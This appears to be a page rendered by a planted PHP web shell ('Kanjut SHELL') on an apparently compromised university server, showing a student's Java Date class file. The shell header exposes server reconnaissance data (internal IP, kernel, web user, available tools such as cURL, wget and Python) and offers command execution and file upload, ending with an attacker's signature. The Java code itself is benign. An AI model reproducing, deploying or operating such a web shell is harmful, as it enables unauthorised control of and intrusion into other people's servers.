Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.144.114.8
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zwang/cs202/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zwang/cs202/Date.java
//
//
//	File: Date.java
//
//	Create a Date class
//

public class Date implements Cloneable
{
	// instance var.
	private int month, day, year;
	// constr
	public Date(int m, int d, int y)
	{
		month=m;  day=d;  year=y;
	}
	// copy method
	public Object clone()
	{
		return new Date(month, day, year);
	}
	// instance instance methods
	public void Increment()
	{
		day ++;
	}
	public String toString()
	{
		return month + "/" + day + "/" +year;	// i.e. 4/22/2009
	}
	public static void main(String[] args)
	{
		// decl. two obj.: today, tomorrow?
		Date today, tomorrow;

		// let today be: 4/22/2009?
		today = new Date(4, 22, 2009);

		// let tomorrow be the same today?
		//tomorrow = today;	// assignment: 4/22/2009
		tomorrow = (Date)today.clone();

		// make tomorrw increase by one day?
		tomorrow.Increment();
		today.Increment();

		// debug - out
		System.out.println(today);	//
		System.out.println("\n\nDone.\n\n");
	}
}

Stv3n404 - 2023